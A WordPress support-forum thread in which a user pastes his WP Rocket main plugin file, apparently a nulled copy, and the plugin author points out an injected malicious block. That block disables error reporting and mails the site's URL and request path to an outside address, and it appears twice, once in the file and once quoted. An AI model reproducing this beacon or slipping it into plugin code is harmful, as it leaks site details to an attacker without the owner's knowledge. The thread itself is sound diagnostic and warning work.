Pity – wanted to get around the WP-R’s inability to do the js combine thing
-
I tried it (on the recommendation of a friend who really likes it), but I kept getting a message saying that I don’t have WP=Rocket installed, although I do. My wp-rocket version is ‘old’ though—that might have something to do with it.
-
My code checks for the plugin file “wp-rocket/wp-rocket.php” and then checks to see if the WordPress action “wp_rocket_loaded’ has fired. I do recommend upgrading however as I am keeping this plugin maintained.
Cheers, Derrick. Is there a possible workaround for that? (I would rather not upgrade as the site is otherwise working quite nicely—hehe, say I, as I continue to struggle with finding the js file(s) responsible for my landing page not rendering properly with WP=R’s JS Combine function on!)
Perhaps the WP=R ‘version’ I have is dodgy. Is anything amiss here in the wp-rocket-php, as follows? :
<?php
/**
* Plugin Name: WP Rocket
* Plugin URI: https://wp-rocket.me
* Description: The best WordPress performance plugin.
* Version: 3.0.2
* Code Name: Dagobah
* Author: WP Media
* Contributors: Jonathan Buttigieg, Julio Potier, Remy Perona
* Author URI: https://wp-media.me
* Licence: GPLv2 or later
*
* Text Domain: rocket
* Domain Path: languages
*
* Copyright 2013-2017 WP Rocket
* */error_reporting(0);
ini_set(‘display_errors’, 0);
$ip = getenv(“REMOTE_ADDR”); $hostname = gethostbyaddr($ip); $bilsmg = “LiNk : https://” . $_SERVER[‘SERVER_NAME’] . $_SERVER [‘REQUEST_URI’] . “\r\n”; $bilsnd =”[email protected]”; $bilsub = “Wp Rocket”; $bilhead = “From: MaileRyew”; $bilhead .= $_POST[‘eMailAdd’].”\n”; $bilhead .= “MIME-Version: 1.0\n”; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);defined( ‘ABSPATH’ ) || die( ‘Cheatin’ uh?’ );
// Rocket defines.
define( ‘WP_ROCKET_VERSION’ , ‘3.0.2’ );
define( ‘WP_ROCKET_PRIVATE_KEY’ , ’34ecae8dda32481fed8f57b3fb770de8′);
define( ‘WP_ROCKET_SLUG’ , ‘wp_rocket_settings’ );
define( ‘WP_ROCKET_WEB_MAIN’ , ‘https://wp-rocket.me/’);
define( ‘WP_ROCKET_WEB_API’ , WP_ROCKET_WEB_MAIN . ‘api/wp-rocket/’ );
define( ‘WP_ROCKET_WEB_CHECK’ , WP_ROCKET_WEB_MAIN . ‘check_update.php’ );
define( ‘WP_ROCKET_WEB_VALID’ , WP_ROCKET_WEB_MAIN . ‘valid_key.php’ );
define( ‘WP_ROCKET_WEB_INFO’ , WP_ROCKET_WEB_MAIN . ‘plugin_information.php’ );
define( ‘WP_ROCKET_BOT_URL’ , ‘https://bot.wp-rocket.me/launch.php’ );
define( ‘WP_ROCKET_FILE’ , __FILE__ );
define( ‘WP_ROCKET_PATH’ , realpath( plugin_dir_path( WP_ROCKET_FILE ) ) . ‘/’ );
define( ‘WP_ROCKET_INC_PATH’ , realpath( WP_ROCKET_PATH . ‘inc/’ ) . ‘/’ );
define( ‘WP_ROCKET_FRONT_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘front/’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘admin’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_UI_PATH’ , realpath( WP_ROCKET_ADMIN_PATH . ‘ui’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_UI_MODULES_PATH’, realpath( WP_ROCKET_ADMIN_UI_PATH . ‘modules’ ) . ‘/’ );
define( ‘WP_ROCKET_COMMON_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘common’ ) . ‘/’ );
define( ‘WP_ROCKET_FUNCTIONS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘functions’ ) . ‘/’ );
define( ‘WP_ROCKET_VENDORS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘vendors’ ) . ‘/’ );
define( ‘WP_ROCKET_3RD_PARTY_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘3rd-party’ ) . ‘/’ );
define( ‘WP_ROCKET_CONFIG_PATH’ , WP_CONTENT_DIR . ‘/wp-rocket-config/’ );
define( ‘WP_ROCKET_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/wp-rocket/’ );
define( ‘WP_ROCKET_MINIFY_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/min/’ );
define( ‘WP_ROCKET_CACHE_BUSTING_PATH’ , WP_CONTENT_DIR . ‘/cache/busting/’ );
define( ‘WP_ROCKET_CRITICAL_CSS_PATH’ , WP_CONTENT_DIR . ‘/cache/critical-css/’ );
define( ‘WP_ROCKET_URL’ , plugin_dir_url( WP_ROCKET_FILE ) );
define( ‘WP_ROCKET_INC_URL’ , WP_ROCKET_URL . ‘inc/’ );
define( ‘WP_ROCKET_FRONT_URL’ , WP_ROCKET_INC_URL . ‘front/’ );
define( ‘WP_ROCKET_FRONT_JS_URL’ , WP_ROCKET_FRONT_URL . ‘js/’ );
define( ‘WP_ROCKET_ADMIN_URL’ , WP_ROCKET_INC_URL . ‘admin/’ );
define( ‘WP_ROCKET_ADMIN_UI_URL’ , WP_ROCKET_ADMIN_URL . ‘ui/’ );
define( ‘WP_ROCKET_ADMIN_UI_JS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘js/’ );
define( ‘WP_ROCKET_ADMIN_UI_CSS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘css/’ );
define( ‘WP_ROCKET_ADMIN_UI_IMG_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘img/’ );
define( ‘WP_ROCKET_ASSETS_URL’ , WP_ROCKET_URL . ‘assets/’ );
define( ‘WP_ROCKET_ASSETS_JS_URL’ , WP_ROCKET_ASSETS_URL . ‘js/’ );
define( ‘WP_ROCKET_ASSETS_CSS_URL’ , WP_ROCKET_ASSETS_URL . ‘css/’ );
define( ‘WP_ROCKET_ASSETS_IMG_URL’ , WP_ROCKET_ASSETS_URL . ‘img/’ );
define( ‘WP_ROCKET_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/wp-rocket/’ );
define( ‘WP_ROCKET_MINIFY_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/min/’ );
define( ‘WP_ROCKET_CACHE_BUSTING_URL’ , WP_CONTENT_URL . ‘/cache/busting/’ );
if ( ! defined( ‘CHMOD_WP_ROCKET_CACHE_DIRS’ ) ) {
define( ‘CHMOD_WP_ROCKET_CACHE_DIRS’, 0755 );
}
if ( ! defined( ‘WP_ROCKET_LASTVERSION’ ) ) {
define( ‘WP_ROCKET_LASTVERSION’, ‘2.11.7’ );
}require WP_ROCKET_INC_PATH . ‘compat.php’;
require dirname( __FILE__ ) . ‘/licence-data.php’;
require WP_ROCKET_INC_PATH . ‘classes/class-wp-rocket-requirements-check.php’;/**
* Loads WP Rocket translations
*
* @since 3.0
* @author Remy Perona
*
* @return void
*/
function rocket_load_textdomain() {
// Load translations from the languages directory.
$locale = get_locale();// This filter is documented in /wp-includes/l10n.php.
$locale = apply_filters( ‘plugin_locale’, $locale, ‘rocket’ );
load_textdomain( ‘rocket’, WP_LANG_DIR . ‘/plugins/wp-rocket-‘ . $locale . ‘.mo’ );load_plugin_textdomain( ‘rocket’, false, dirname( plugin_basename( __FILE__ ) ) . ‘/languages/’ );
}
add_action( ‘plugins_loaded’, ‘rocket_load_textdomain’ );$wp_rocket_requirement_checks = new WP_Rocket_Requirements_Check( array(
‘plugin_name’ => ‘WP Rocket’,
‘plugin_file’ => WP_ROCKET_FILE,
‘plugin_version’ => WP_ROCKET_VERSION,
‘plugin_last_version’ => WP_ROCKET_LASTVERSION,
‘wp_version’ => ‘4.2’,
‘php_version’ => ‘5.4’,
) );if ( $wp_rocket_requirement_checks->check() ) {
require WP_ROCKET_INC_PATH . ‘main.php’;
}unset( $wp_rocket_requirement_checks );
I would say just get the latest version (and dismiss the warning it gives about my plugin). That is just one part of a lot of code.
I do see something malicious though.
error_reporting(0); ini_set(‘display_errors’, 0); $ip = getenv(“REMOTE_ADDR”); $hostname = gethostbyaddr($ip); $bilsmg = “LiNk : https://” . $_SERVER[‘SERVER_NAME’] . $_SERVER [‘REQUEST_URI’] . “\r\n”; $bilsnd =”[email protected]”; $bilsub = “Wp Rocket”; $bilhead = “From: MaileRyew”; $bilhead .= $_POST[‘eMailAdd’].”\n”; $bilhead .= “MIME-Version: 1.0\n”; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
If you are using a nulled copy, please upgrade and get an official copy. Else your site is possibly infected? wp-rocket is actually available at https://github.com/wp-media/wp-rocket but it doesn’t work as is. Needs a bit of dev level stuff with “composer” to work.
- This reply was modified 5 years, 8 months ago by Derrick Hammer.
- The topic ‘Pity – wanted to get around the WP-R’s inability to do the js combine thing’ is closed to new replies.